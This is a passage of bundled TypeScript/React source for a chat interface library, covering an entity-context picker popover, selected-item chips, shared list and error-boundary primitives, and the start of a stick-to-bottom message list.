2. `children` is appended as a sibling BELOW the paragraph — where\n *      block content is HTML-valid and the browser doesn't eject it\n *      with a hydration mismatch.\n *\n * The component itself never renders — it's a tag, not a wrapper. The\n * `return null` is unreachable in practice (the pre-scan replaces every\n * `<BlockCard>` before render), but kept as a defensive no-op so a\n * mis-routed `<BlockCard>` outside the chat path doesn't crash.\n */\nexport function BlockCard(_props: BlockCardProps): React.ReactElement | null {\n  return null\n}\n","'use client'\n\n/**\n * Entity-context picker for the chat composer (Figma nodes 31:28312 /\n * 31:28708 / 31:28709 / 1:5699). Three pieces, all driven by the host's\n * `ChatContextPickerConfig`:\n *\n *   1. `<ChatComposerPlusMenu>` — the `+` button → small menu\n *      (Upload File / Assign Item). \"Assign Item\" opens the picker.\n *   2. `<ChatContextPicker>` — the two-level popover, rendered ABOVE the\n *      input (same `absolute bottom-full` placement as the slash-command\n *      suggestions). Level 1 = entity-type list; level 2 = a searchable\n *      multi-select of that type's items, with a ✓ on the chosen ones.\n *   3. `<ChatContextChipStrip>` — the removable selected-item chips,\n *      rendered above the input (mirrors `ChatAttachmentChipStrip`).\n *\n * The library owns ONLY the UI + selection state plumbing. Every item comes\n * from the host's `config.search(type, query, signal)` resolver — the lib\n * never knows a device from a script. All colors are ODS tokens.\n */\n\nimport { QueryErrorResetBoundary } from '@tanstack/react-query'\nimport { Fragment, Suspense, useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react'\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon'\nimport { PlusIcon } from '../icons-v2-generated/signs-and-symbols/plus-icon'\nimport { XmarkCircleIcon } from '../icons-v2-generated/signs-and-symbols/xmark-circle-icon'\nimport { SearchIcon } from '../icons-v2-generated/interface/search-icon'\nimport { Upload02Icon } from '../icons-v2-generated/interface/upload-02-icon'\nimport { PackagePlusIcon } from '../icons-v2-generated/coding/package-plus-icon'\nimport { cn } from '../../utils/cn'\nimport {\n  CONTEXT_BACK_CLASS,\n  CONTEXT_STATE_CLASS,\n  ContextErrorBoundary,\n  ContextItemsSkeleton,\n  ContextMenuRow,\n} from './context-items-list'\nimport type {\n  ChatContextEntityType,\n  ChatContextItem,\n  ChatContextPickerConfig,\n} from './types/context-item.types'\n\n/** Default ceiling on selected context items (Figma spec). */\nexport const CHAT_CONTEXT_ITEMS_DEFAULT_MAX = 10\n\n/** Skeleton row count for the items Suspense fallback. */\nconst ITEMS_SKELETON_ROWS = 10\n\n/** Debounce (ms) before the typed query is handed to `renderItems`. */\nconst SEARCH_DEBOUNCE_MS = 300\n\nconst itemKey = (item: { type: string; id: string }) => `${item.type}:${item.id}`\n\n// ===========================================================================\n// `+` TRIGGER — opens the single context dropdown (Figma node 31:28275)\n// ===========================================================================\n\nexport interface ChatComposerPlusMenuProps {\n  /** Toggle the entity-context picker open/closed. */\n  onToggle: () => void\n  /** Whether the picker is currently open (drives the lit/yellow state). */\n  open?: boolean\n  /** Disable the trigger (e.g. while streaming). */\n  disabled?: boolean\n  /** The context dropdown — rendered anchored to THIS button (so the popover\n   *  aligns to the `+`, not the whole input). Pass `<ChatContextPicker>`. */\n  dropdown?: React.ReactNode\n}\n\n/**\n * The composer `+` button (Figma node 31:28275 — sits INSIDE the input as a\n * start adornment). Per the Figma annotation on 31:28312 (\"don't show for\n * first version — show dropdown with item types\"), there is NO intermediate\n * \"Upload File / Assign Item\" menu: the `+` opens the single `ChatContextPicker`\n * dropdown (type list → searchable items) directly.\n *\n * The 24×24 glyph is grey at rest, WHITE on hover of the glyph itself, and\n * accent-yellow while pressed or while the dropdown is open. `data-context-\n * trigger` lets the picker's outside-click handler ignore clicks on this button\n * so toggling works cleanly.\n */\nexport function ChatComposerPlusMenu({\n  onToggle,\n  open = false,\n  disabled = false,\n  dropdown,\n}: ChatComposerPlusMenuProps) {\n  return (\n    // `relative` so the dropdown anchors to the button itself (bottom-full),\n    // aligning the popover to the `+` rather than the input row.\n    <span className=\"relative inline-flex\">\n      <button\n        type=\"button\"\n        data-context-trigger=\"\"\n        disabled={disabled}\n        aria-label=\"Add context\"\n        aria-expanded={open}\n        title=\"Add context\"\n        onClick={onToggle}\n        className={cn(\n          'flex h-6 w-6 shrink-0 items-center justify-center rounded transition-colors outline-none',\n          open\n            ? 'text-ods-accent'\n            : 'text-ods-text-secondary hover:text-ods-text-primary active:text-ods-accent',\n          'focus-visible:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40',\n        )}\n      >\n        <PlusIcon className=\"h-6 w-6\" />\n      </button>\n      {dropdown}\n    </span>\n  )\n}\n\n// ===========================================================================\n// PICKER — two-level popover (Figma nodes 31:28708 / 31:28709)\n// ===========================================================================\n\nexport interface ChatContextPickerProps {\n  /** When false the popover renders nothing. */\n  open: boolean\n  config: ChatContextPickerConfig\n  /** Currently-selected items (drives the ✓ state in the list). */\n  selectedItems: ChatContextItem[]\n  /** Toggle an item in/out of the selection. */\n  onToggleItem: (item: ChatContextItem) => void\n  /** Close the popover (Escape, outside-click, header X). */\n  onClose: () => void\n  /**\n   * Query seeded from the `@`-mention trigger. Filters the entity-type list\n   * while the picker sits on level 1; consumed when a type is opened.\n   */\n  mentionQuery?: string | null\n  className?: string\n}\n\n// Single dropdown, three nested levels (Figma 31:28312 → 31:28708 → 31:29102):\n//   root  = Upload File / Assign Item\n//   types = Back + entity-type list\n//   items = Back + search + selectable items\ntype PickerView = 'root' | 'types' | 'items'\n\nexport function ChatContextPicker({\n  open,\n  config,\n  selectedItems,\n  onToggleItem,\n  onClose,\n  mentionQuery,\n  className,\n}: ChatContextPickerProps) {\n  const [view, setView] = useState<PickerView>('root')\n  const [activeType, setActiveType] = useState<ChatContextEntityType | null>(null)\n  const [query, setQuery] = useState('') // immediate search-field value\n  const [debouncedQuery, setDebouncedQuery] = useState('') // handed to renderItems\n\n  const rootRef = useRef<HTMLDivElement>(null)\n  const searchRef = useRef<HTMLInputElement>(null)\n\n  const maxItems = config.maxItems ?? CHAT_CONTEXT_ITEMS_DEFAULT_MAX\n  const atLimit = selectedItems.length >= maxItems\n\n  const selectedKeys = useMemo(() => new Set(selectedItems.map(itemKey)), [selectedItems])\n\n  // Reset on open AND close (close pre-resets so the next open's first paint is\n  // the initial view, not the stale level — avoids a flash).\n  useEffect(() => {\n    setView(open && mentionQuery != null ? 'types' : 'root')\n    setActiveType(null)\n    setQuery('')\n    setDebouncedQuery('')\n  }, [open])\n\n  // If `@` starts filtering while still on the root menu, drill into the types.\n  useEffect(() => {\n    if (open && mentionQuery != null && view === 'root') setView('types')\n  }, [open, mentionQuery, view])\n\n  // Outside-click + Escape close. Registered only while open.\n  useEffect(() => {\n    if (!open) return\n    const onDocDown = (e: MouseEvent) => {\n      const target = e.target as Element | null\n      // Ignore clicks on the `+` trigger — it owns the open/close toggle.\n      if (rootRef.current?.contains(target) || target?.closest?.('[data-context-trigger]')) return\n      onClose()\n    }\n    document.addEventListener('mousedown', onDocDown)\n    return () => document.removeEventListener('mousedown', onDocDown)\n  }, [open, onClose])\n\n  // Focus the search field when entering the items view.\n  useEffect(() => {\n    if (open && view === 'items') {\n      const id = requestAnimationFrame(() => searchRef.current?.focus())\n      return () => cancelAnimationFrame(id)\n    }\n  }, [open, view])\n\n  // Debounce the typed query before handing it to the host's `renderItems`\n  // (which keys its hooks on it) — keeps the data layer off every keystroke.\n  useEffect(() => {\n    const handle = setTimeout(() => setDebouncedQuery(query.trim()), SEARCH_DEBOUNCE_MS)\n    return () => clearTimeout(handle)\n  }, [query])\n\n  // Cap the popover to the space ACTUALLY visible above the `+` button. The\n  // popover is `bottom-full`-anchored, so its bounding-rect bottom equals the\n  // button top. The usable TOP is NOT the viewport top — the chat lives inside a\n  // panel/drawer whose body clips overflow below its header — so we measure to the\n  // nearest scroll/clip ancestor's top, not the window. Height = (button top) −\n  // (clip-container top) − gap; the popover then scrolls within that slice.\n  // Re-measured on open, view change, resize, and once after the Drawer open\n  // animation settles (rAF + delayed pass) so we don't lock a mid-animation value.\n  const [availMaxH, setAvailMaxH] = useState<number | undefined>(undefined)\n  useLayoutEffect(() => {\n    if (!open) {\n      setAvailMaxH(undefined)\n      return\n    }\n    const measure = () => {\n      const el = rootRef.current\n      if (!el) return\n      const bottom = el.getBoundingClientRect().bottom\n      // Find the nearest ancestor that clips overflow — that top edge, not the\n      // window's, is where the popover starts getting hidden.\n      let clipTop = 0\n      for (let p = el.parentElement; p; p = p.parentElement) {\n        const oy = getComputedStyle(p).overflowY\n        if (oy === 'auto' || oy === 'scroll' || oy === 'hidden') {\n          clipTop = p.getBoundingClientRect().top\n          break\n        }\n      }\n      setAvailMaxH(Math.max(180, Math.floor(bottom - clipTop - 12)))\n    }\n    measure()\n    const raf = requestAnimationFrame(measure)\n    const settle = setTimeout(measure, 320)\n    window.addEventListener('resize', measure)\n    return () => {\n      cancelAnimationFrame(raf)\n      clearTimeout(settle)\n      window.removeEventListener('resize', measure)\n    }\n  }, [open, view])\n\n  const openType = useCallback((type: ChatContextEntityType) => {\n    setActiveType(type)\n    setQuery('')\n    setDebouncedQuery('')\n    setView('items')\n  }, [])\n\n  const backToTypes = useCallback(() => {\n    setActiveType(null)\n    setQuery('')\n    setDebouncedQuery('')\n    setView('types')\n  }, [])\n\n  // Filter the type list by the `@`-mention query (level 1 only).\n  const typeFilter = (mentionQuery ?? '').trim().toLowerCase()\n  const visibleTypes = useMemo(\n    () =>\n      typeFilter\n        ? config.entityTypes.filter((t) => t.label.toLowerCase().includes(typeFilter))\n        : config.entityTypes,\n    [config.entityTypes, typeFilter],\n  )\n\n  if (!open) return null\n\n  return (\n    <div\n      ref={rootRef}\n      role=\"dialog\"\n      aria-label=\"Add context\"\n      // `maxHeight` is measured to the real gap above the `+` button (see effect),\n      // so the popover always fits the available slice; `max-h-[70vh]` is the\n      // pre-measurement fallback. The popover itself scrolls (`overflow-y-auto`)\n      // when its content can't fit that height — no fragile flex-1 chains.\n      style={{ maxHeight: availMaxH }}\n      className={cn(\n        // Anchored to the `+` button (its `relative` parent): left edge aligns\n        // to the button, `bottom-full` floats it just above with a 4px gap.\n        'absolute bottom-full left-0 z-50 mb-1 flex max-h-[70vh] w-[320px] max-w-[90vw] flex-col overflow-y-auto overflow-x-hidden overscroll-contain',\n        // Mirror `DropdownMenuContent` chrome (border / card bg / shadow-md).\n        'rounded-md border border-ods-border bg-ods-card text-ods-text-primary shadow-md',\n        className,\n      )}\n      // Keep textarea focus from being stolen on internal pointer interactions\n      // that aren't real selections (e.g. scrollbar drags).\n      onKeyDown={(e) => {\n        if (e.key === 'Escape') {\n          e.preventDefault()\n          onClose()\n        }\n      }}\n    >\n      {view === 'root' ? (\n        /* Level 0 — Upload File / Assign Item (Figma 31:28312). */\n        <div role=\"menu\" aria-label=\"Add context\">\n          {config.onUploadFile && (\n            <ContextMenuRow\n              icon={<Upload02Icon size={24} />}\n              label=\"Upload File\"\n              onClick={() => config.onUploadFile?.()}\n            />\n          )}\n          <ContextMenuRow icon={<PackagePlusIcon size={24} />} label=\"Assign Item\" onClick={() => setView('types')} />\n        </div>\n      ) : view === 'types' ? (\n        /* Level 1 — Back + entity-type list (Figma 31:28708). Back stays pinned;\n           the type list scrolls if it can't fit the capped popover height. */\n        <div role=\"menu\" aria-label=\"Context types\" className=\"flex flex-col\">\n          <button\n            type=\"button\"\n            onClick={() => setView('root')}\n            // Pinned while the popover body scrolls (the root is the scroll\n            // container) — `bg-ods-bg` keeps rows from showing through.\n            className={cn(CONTEXT_BACK_CLASS, 'sticky top-0 z-10')}\n          >\n            <Chevron02LeftIcon size={24} className=\"shrink-0\" />\n            <span className=\"truncate\">Back</span>\n          </button>\n          {visibleTypes.length === 0 ? (\n            <div className={CONTEXT_STATE_CLASS}>No matching types</div>\n          ) : (\n            visibleTypes.map((type) => (\n              <ContextMenuRow key={type.type} icon={type.icon} label={type.label} onClick={() => openType(type)} />\n            ))\n          )}\n        </div>\n      ) : activeType ? (\n        /* Level 2 — Back + search + HOST-rendered items (Figma 31:29102). */\n        <>\n          <button type=\"button\" onClick={backToTypes} className={cn(CONTEXT_BACK_CLASS, 'sticky top-0 z-10')}>\n            <Chevron02LeftIcon size={24} className=\"shrink-0\" />\n            <span className=\"truncate\">Back</span>\n          </button>\n\n          <div className=\"flex shrink-0 items-center gap-2 border-b border-ods-border bg-ods-card p-3\">\n            <SearchIcon className=\"size-4 shrink-0 text-ods-text-secondary md:size-6\" />\n            <input\n              ref={searchRef}\n              value={query}\n              onChange={(e) => setQuery(e.target.value)}\n              placeholder={`Search for ${activeType.label}`}\n              className=\"min-w-0 flex-1 bg-transparent text-h4 font-medium leading-6 text-ods-text-primary outline-none placeholder:text-ods-text-secondary\"\n            />\n          </div>\n\n          {/* Items are HOST-rendered (data via the host's own hooks → a\n              `<ContextItemsList>`). Initial load → Suspense skeleton; a failed\n              fetch → the error row with a Retry. The boundary resets when\n              type/query changes; Retry also resets react-query's cached suspense\n              error (`reset()`) so re-opening the SAME type+query refetches. */}\n          <QueryErrorResetBoundary>\n            {({ reset }) => (\n              <ContextErrorBoundary\n                resetKey={`${activeType.type}:${debouncedQuery}`}\n                fallback={retry => (\n                  <div className=\"flex items-center justify-between gap-2 bg-ods-bg px-4 py-3 text-h4 text-ods-attention-red-error\">\n                    <span>Failed to load</span>\n                    <button\n                      type=\"button\"\n                      onClick={() => {\n                        reset()\n                        retry()\n                      }}\n                      className=\"shrink-0 underline outline-none hover:text-ods-text-primary focus-visible:text-ods-text-primary\"\n                    >\n                      Retry\n                    </button>\n                  </div>\n                )}\n              >\n                <Suspense\n                  fallback={\n                    <div className=\"max-h-[340px] overflow-hidden\">\n                      <ContextItemsSkeleton count={ITEMS_SKELETON_ROWS} />\n                    </div>\n                  }\n                >\n                  {config.renderItems({\n                    type: activeType.type,\n                    query: debouncedQuery,\n                    selectedKeys,\n                    onToggle: onToggleItem,\n                    atLimit,\n                  })}\n                </Suspense>\n              </ContextErrorBoundary>\n            )}\n          </QueryErrorResetBoundary>\n        </>\n      ) : null}\n    </div>\n  )\n}\n\n// ===========================================================================\n// CHIP STRIP — selected items above the input (Figma node 1:5699)\n// ===========================================================================\n\nexport interface ChatContextChipStripProps {\n  items: ChatContextItem[]\n  /** Remove handler. When omitted the chips are read-only (message bubble). */\n  onRemove?: (item: ChatContextItem) => void\n  /** Lead icon resolver, e.g. the entity-type icon. Optional. */\n  resolveIcon?: (item: ChatContextItem) => React.ReactNode\n  /**\n   * Optional host renderer that REPLACES the default label-only pill for an\n   * item — e.g. a self-fetching entity chip that resolves its own live display\n   * name by id, identical to an inline `@marker:id` mention. Return\n   * `null`/`undefined` for an item to fall back to the default pill. The lib\n   * owns no entity knowledge, so the host node owns its full chrome (the\n   * `onRemove` affordance is NOT wrapped around host-rendered items — this is\n   * meant for the read-only message bubble, mirroring `renderMention`).\n   */\n  renderItem?: (item: ChatContextItem) => React.ReactNode\n  disabled?: boolean\n  className?: string\n}\n\n/**\n * Horizontal strip of selected-context chips. Returns `null` when empty — no\n * permanent footprint. Used both in the composer (removable) and on the sent\n * user bubble (read-only, no `onRemove`).\n */\nexport function ChatContextChipStrip({\n  items,\n  onRemove,\n  resolveIcon,\n  renderItem,\n  disabled = false,\n  className,\n}: ChatContextChipStripProps) {\n  if (items.length === 0) return null\n  return (\n    // `tag` pills (Figma 1:6073): 32px tall, card surface, bordered, mono-\n    // uppercase label, 16px lead icon + xmark-circle remove. Wraps to new rows.\n    <div className={cn('flex flex-wrap content-center items-center gap-2', className)}>\n      {items.map((item) => {\n        // Host-rendered chip (self-fetching mention analogue) takes over the\n        // whole pill when provided and non-null; otherwise the default pill.\n        const hostNode = renderItem?.(item)\n        if (hostNode != null) return <Fragment key={itemKey(item)}>{hostNode}</Fragment>\n        return (\n        <div\n          key={itemKey(item)}\n          className=\"flex h-8 shrink-0 items-center gap-2 rounded-md border border-ods-border bg-ods-card px-2\"\n          role=\"group\"\n          aria-label={`Context ${item.label}`}\n        >\n          {resolveIcon && (\n            <span className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary [&_svg]:size-4\">\n              {resolveIcon(item)}\n            </span>\n          )}\n          <span\n            className=\"max-w-[220px] truncate font-mono text-h5 font-medium uppercase tracking-[-0.28px] text-ods-text-primary\"\n            title={item.label}\n          >\n            {item.label}\n          </span>\n          {onRemove && (\n            <button\n              type=\"button\"\n              onClick={() => onRemove(item)}\n              disabled={disabled}\n              aria-label={`Remove ${item.label}`}\n              className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary outline-none transition-colors hover:text-ods-text-primary focus-visible:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 [&_svg]:size-4\"\n            >\n              <XmarkCircleIcon size={16} />\n            </button>\n          )}\n        </div>\n        )\n      })}\n    </div>\n  )\n}\n","'use client'\n\n/**\n * Shared building blocks for the entity-context picker's ITEMS level\n * (Figma 31:29102). The picker SHELL (root menu, type list, search, Back) lives\n * in `chat-context-picker.tsx`; the per-type DATA is host-owned and rendered\n * via `ChatContextPickerConfig.renderItems`, which returns a `<ContextItemsList>`\n * fed from the host's own hooks (TanStack / react-relay).\n *\n * Row chrome here matches the design-system menu rows (same as `ActionsMenu`):\n * 16px→24px responsive icon, h4 label, border-b, hover surface.\n */\n\nimport * as React from 'react'\nimport { CheckFillIcon } from '../icons-v2-generated/signs-and-symbols/check-fill-icon'\nimport { Skeleton } from '../ui/skeleton'\nimport { cn } from '../../utils/cn'\nimport type { ChatContextItem } from './types/context-item.types'\n\nconst itemKey = (i: { type: string; id: string }) => `${i.type}:${i.id}`\n\n// Shared row classes — used by the picker (root / types) and the item rows so\n// every level is visually identical and there's one source of truth.\nexport const CONTEXT_ROW_CLASS =\n  'flex w-full items-center gap-2 border-b border-ods-border bg-ods-bg py-3 pl-4 pr-2 text-left outline-none transition-colors last:border-b-0 hover:bg-ods-bg-hover focus-visible:bg-ods-bg-hover [&_svg]:size-4 md:[&_svg]:size-6'\nexport const CONTEXT_ICON_CLASS =\n  'flex size-4 shrink-0 items-center justify-center text-ods-text-secondary md:size-6'\nexport const CONTEXT_LABEL_CLASS = 'flex-1 truncate text-h4 font-medium leading-6 text-ods-text-primary'\nexport const CONTEXT_BACK_CLASS =\n  'flex shrink-0 items-center gap-2 border-b border-ods-border bg-ods-bg px-2 py-3 text-left text-h4 font-medium leading-6 text-ods-text-secondary outline-none transition-colors hover:text-ods-text-primary [&_svg]:size-4 md:[&_svg]:size-6'\nexport const CONTEXT_STATE_CLASS = 'bg-ods-bg px-4 py-3 text-h4 text-ods-text-secondary'\n\n// ===========================================================================\n// ROW — one menu row (icon + label + optional trailing). Shared primitive.\n// ===========================================================================\n\nexport interface ContextMenuRowProps {\n  /** Lead glyph (entity-type icon). Omit for item rows (label only). */\n  icon?: React.ReactNode\n  label: React.ReactNode\n  /** Trailing slot (e.g. the selected ✓). */\n  trailing?: React.ReactNode\n  onClick?: () => void\n  disabled?: boolean\n  /** Selected state for `role=\"option\"` rows (aria + caller styling). */\n  selected?: boolean\n  role?: 'menuitem' | 'option'\n  title?: string\n}\n\nexport function ContextMenuRow({\n  icon,\n  label,\n  trailing,\n  onClick,\n  disabled = false,\n  selected,\n  role = 'menuitem',\n  title,\n}: ContextMenuRowProps) {\n  return (\n    <button\n      type=\"button\"\n      role={role}\n      aria-selected={role === 'option' ? selected : undefined}\n      disabled={disabled}\n      onClick={onClick}\n      title={title}\n      className={cn(CONTEXT_ROW_CLASS, disabled && 'cursor-not-allowed opacity-40 hover:bg-ods-bg')}\n    >\n      {icon != null && <span className={CONTEXT_ICON_CLASS}>{icon}</span>}\n      <span className={CONTEXT_LABEL_CLASS}>{label}</span>\n      {trailing}\n    </button>\n  )\n}\n\n// ===========================================================================\n// SKELETON — Suspense fallback (initial load) + inline load-more rows.\n// ===========================================================================\n\nexport function ContextItemsSkeleton({ count }: { count: number }) {\n  return (\n    <>\n      {Array.from({ length: count }, (_, i) => (\n        <div\n          key={`ctx-skeleton-${i}`}\n          className=\"flex items-center border-b border-ods-border bg-ods-bg py-3 pl-4 pr-2 last:border-b-0\"\n        >\n          <Skeleton className=\"h-5 w-1/2\" />\n        </div>\n      ))}\n    </>\n  )\n}\n\n// ===========================================================================\n// LIST — host-fed items + scroll-driven load-more. (Initial load / errors are\n// handled by the picker's <Suspense> / error boundary around renderItems.)\n// ===========================================================================\n\nexport interface ContextItemsListProps {\n  items: ChatContextItem[]\n  /** Selected keys (`${type}:${id}`) for the ✓ state. */\n  selectedKeys: Set<string>\n  onToggle: (item: ChatContextItem) => void\n  /** Selection cap reached → non-selected rows disabled. */\n  atLimit: boolean\n  /** Another page is available. */\n  hasMore?: boolean\n  /** Load the next page (called when the user nears the bottom). */\n  onLoadMore?: () => void\n  /** A page is currently loading (shows inline skeleton rows). */\n  loadingMore?: boolean\n  emptyLabel?: string\n  className?: string\n}\n\nexport function ContextItemsList({\n  items,\n  selectedKeys,\n  onToggle,\n  atLimit,\n  hasMore = false,\n  onLoadMore,\n  loadingMore = false,\n  emptyLabel = 'No results',\n  className,\n}: ContextItemsListProps) {\n  const onScroll = React.useCallback(\n    (e: React.UIEvent<HTMLDivElement>) => {\n      if (!hasMore || loadingMore || !onLoadMore) return\n      const el = e.currentTarget\n      if (el.scrollHeight - el.scrollTop - el.clientHeight <= 48) onLoadMore()\n    },\n    [hasMore, loadingMore, onLoadMore],\n  )\n\n  if (items.length === 0 && !loadingMore) {\n    return <div className={CONTEXT_STATE_CLASS}>{emptyLabel}</div>\n  }\n\n  return (\n    <div\n      role=\"listbox\"\n      aria-label=\"Items\"\n      onScroll={onScroll}\n      // Cap to 340px but never exceed ~half the viewport, so on short screens the\n      // results list (inside the bottom-anchored picker popover) still fits and\n      // scrolls instead of overflowing past the top edge.\n      className={cn('max-h-[min(340px,45vh)] overflow-y-auto overscroll-contain', className)}\n    >\n      {items.map(item => {\n        const selected = selectedKeys.has(itemKey(item))\n        return (\n          <ContextMenuRow\n            key={itemKey(item)}\n            role=\"option\"\n            selected={selected}\n            disabled={!selected && atLimit}\n            onClick={() => onToggle(item)}\n            label={item.label}\n            title={!selected && atLimit ? 'Selection limit reached' : undefined}\n            trailing={selected ? <CheckFillIcon className=\"size-4 shrink-0 text-ods-accent md:size-6\" /> : undefined}\n          />\n        )\n      })}\n      {loadingMore && <ContextItemsSkeleton count={3} />}\n    </div>\n  )\n}\n\n// ===========================================================================\n// ERROR BOUNDARY — catches a failed host items fetch; resets when the\n// (type, query) key changes so a new search retries.\n// ===========================================================================\n\nexport interface ContextErrorBoundaryProps {\n  /** Change this (e.g. `type:query`) to clear a previous error and retry. */\n  resetKey: string\n  /** Error UI. As a render-prop it receives a `retry` callback that clears the\n   *  boundary so the children re-mount (pair it with react-query's `reset()` so\n   *  the cached suspense error is dropped and the fetch actually re-runs). */\n  fallback: React.ReactNode | ((retry: () => void) => React.ReactNode)\n  children: React.ReactNode\n}\n\nexport class ContextErrorBoundary extends React.Component<ContextErrorBoundaryProps, { errored: boolean }> {\n  state = { errored: false }\n\n  static getDerivedStateFromError() {\n    return { errored: true }\n  }\n\n  componentDidUpdate(prev: ContextErrorBoundaryProps) {\n    if (prev.resetKey !== this.props.resetKey && this.state.errored) {\n      this.setState({ errored: false })\n    }\n  }\n\n  private retry = () => {\n    if (this.state.errored) this.setState({ errored: false })\n  }\n\n  render() {\n    if (!this.state.errored) return this.props.children\n    return typeof this.props.fallback === 'function' ? this.props.fallback(this.retry) : this.props.fallback\n  }\n}\n","\"use client\"\n\nimport { useRef, useState, useCallback, useEffect, useLayoutEffect, useImperativeHandle, useMemo, forwardRef } from \"react\"\nimport { useStickToBottom } from \"use-stick-to-bottom\"\nimport { cn } from \"../../utils/cn\"\nimport { ChatMessageEnhanced } from \"./chat-message-enhanced\"\nimport { ChatMessageListSkeleton } from \"./chat-message-skeleton\"\nimport { DotsLoaderIcon, Arrow02DownIcon } from \"../icons-v2-generated\"\nimport { OverlayOpenRegistryProvider } from \"../ui/overlay-open-registry\"\nimport { CyclingPhrase } from \"./cycling-phrase\"\nimport type { ChatMessageListProps } from \"./types\"\nimport { SCROLL_ANCHOR } from \"./types/message.types\"\nimport type { MessageContent } from \"./types/message.types\"\n\n// Flamingo-themed cycling words shown next to the streaming indicator\n// (Claude-Code-style activity hint). Mix of classic AI verbs, flamingo\n// behaviours (strut/wade/preen/flock), and one Mingo neologism.\nconst STREAMING_WORDS = [\n  'Thinking',\n  'Vibing',\n  'Mingoing',\n  'Strutting',\n  'Pondering',\n  'Wading',\n  'Hatching',\n  'Preening',\n  'Conjuring',\n  'Riffing',\n] as const\n\n/** Distance from the bottom (px) still counted as \"at the bottom\".\n *  Mirrors `use-stick-to-bottom`'s internal `STICK_TO_BOTTOM_OFFSET_PX`\n *  so the jump-to-bottom button and the library agree on the boundary. */\nconst BOTTOM_THRESHOLD_PX = 70\n\n/** How long each follow re-assert keeps CHASING a moving bottom, in ms.\n *  Mirrors the library's own `RETAIN_ANIMATION_DURATION_MS`, which is the\n *  window its resize-follow uses for exactly this: while it is open the\n *  spring re-reads `calculatedTargetScrollTop` every frame instead of\n *  finishing against the target captured when the call was made. */\nconst FOLLOW_RETAIN_MS = 350\n\n\n/*\n * Stick-to-bottom: `use-stick-to-bottom` (stackblitz-labs)\n *\n * The 2026 production-grade stick-to-bottom mechanism — same library\n * Vercel AI SDK Elements ships in `<Conversation>` and that powers\n * bolt.new's streaming chat. ResizeObserver on the content + spring-\n * physics scroll + correct user-escape detection (wheel / touch /\n * scrollTop-snapshot) + at-bottom geometry tracking. We removed the\n * hand-rolled v1 mechanism (per-render `lastMessage` useEffect + 1.5s\n * RO anchor + 4 racing scrollTop sites + wheel/touch handlers) which\n * had real-world failure modes around post-commit layout shifts.\n *\n * What we KEEP from v1 (the library doesn't cover these):\n *  - **Prepend anchoring** (load-older). When older messages prepend,\n *    we add `newScrollHeight - prevScrollHeight` to `scrollTop` so the\n *    user stays on the message they were reading. The library's\n *    contract is \"follow the bottom\"; preserving viewport position\n *    when content grows ABOVE is a separate concern owned by this\n *    component.\n *  - **Dialog-change + first-load + user-message → force-scroll**.\n *    We call `scrollToBottom({ animation: 'instant' })` explicitly\n *    for these transitions so the library skips its spring animation\n *    (an instant snap matches user expectation: \"I just opened a new\n *    chat / sent a message; show me the bottom immediately\").\n *  - **Load-more sentinel** (top-of-list IntersectionObserver) for\n *    infinite-scroll-UP. Distinct concern from stick-to-bottom.\n *  - **Bottom-follow intent** (see `followBottomRef` below). The\n *    library's follow is gated on its own `isAtBottom` flag, which this\n *    list's layout can lose silently; we own the INTENT and re-assert.\n *\n * `useStickToBottom`'s returned refs are MUTABLE refs + ref callbacks\n * — pass them directly as `ref={scrollRef}` / `ref={contentRef}`.\n */\n\n/** Whether a `Message.content` (string OR `MessageSegment[]`) carries\n *  visible text. The top-anchor effect uses this to skip the metadata-\n *  only commit (empty assistant bubble) and wait until the body chunk\n *  has landed in the DOM. */\nfunction hasNonEmptyContent(content: MessageContent): boolean {\n  if (typeof content === 'string') return content.length > 0\n  if (!Array.isArray(content)) return false\n  return content.some((s) => s.type === 'text' && s.text.length > 0)\n}\n\n/** Async-growth watcher installed by the top-anchor effect for the 2s\n *  settle window. Single owner is `anchorWatcherRef`; the helper below\n *  is the only place that knows how to tear one down. */\ninterface AnchorWatcher {\n  id: string\n  ro: ResizeObserver\n  timer: ReturnType<typeof setTimeout>\n}\n\n/** Idempotent tear-down for an `AnchorWatcher`. Used by both the\n *  inline supersede path (new top-anchor turn arrives mid-window) and\n *  the component-unmount cleanup. Caller owns the surrounding ref\n *  null-out — the helper itself doesn't touch the ref. */\nfunction disposeAnchorWatcher(w: AnchorWatcher | null): void {\n  if (!w) return\n  w.ro.disconnect()\n  clearTimeout(w.timer)\n}\n\nconst ChatMessageList = forwardRef<HTMLDivElement, ChatMessageListProps>(\n  (\n    {\n      className,\n      messages,\n      dialogId,\n      isLoading = false,\n      isTyping = false,\n      autoScroll = true,\n      overscrollContain = true,\n      pinBottom = false,\n      showAvatars = true,\n      fullWidth = false,\n      contentClassName,\n      assistantType,\n      approvalVariant,\n      assistantIcon,\n      pendingApprovals,\n      hasNextPage,\n      isFetchingNextPage,\n      onLoadMore,\n      renderEntityCard,\n      resolveContextIcon,\n      renderContextItem,\n      renderMention,\n      onAskSelect,\n      NavLinkAnchor,\n      ...props\n    },\n    ref,\n  ) => {\n    // ---- Library: useStickToBottom -----------------------------------\n    // `resize: 'smooth'` — during streaming, content grows token-by-\n    // token; library uses spring physics to follow the bottom for a\n    // ChatGPT/Claude.ai-like feel (vs jarring instant snaps).\n    // `initial: false` — DON'T auto-scroll on mount; our dialog-change\n    // effect below owns first-paint positioning so re-opening a chat\n    // with prior history lands at the bottom without a smooth-scroll\n    // animation playing over the cold-paint.\n    const { scrollRef, contentRef, scrollToBottom, stopScroll, isAtBottom } =\n      useStickToBottom({\n        resize: 'smooth',\n        initial: false,\n      })\n\n    // ---- Ask cards go stale once answered ------------------------------\n    // A clarification card asks about the turn it belongs to. The moment the\n    // user says ANYTHING after it — clicking an option, or typing their own\n    // reply in the composer — the question is answered and the card is\n    // history: clicking it again would send a stale label into a conversation\n    // that already moved on. So the handler reaches only messages that no user\n    // message follows, which also locks every card in replayed history for\n    // free (each one is followed by the reply it produced).\n    const lastUserMessageIndex = useMemo(() => {\n      for (let i = messages.length - 1; i >= 0; i--) {\n        if (messages[i].role === 'user') return i\n      }\n      return -1\n    }, [messages])\n\n    // ---- Overlay guard: don't move the ground under an open menu -------\n    // A ⋯ menu inside a bubble stays anchored to its trigger. While a reply\n    // streams in, the follow-the-bottom scroll carries that trigger upward and\n    // drags the menu with it, until the menu sits at the panel edge detached\n    // from its card. So: 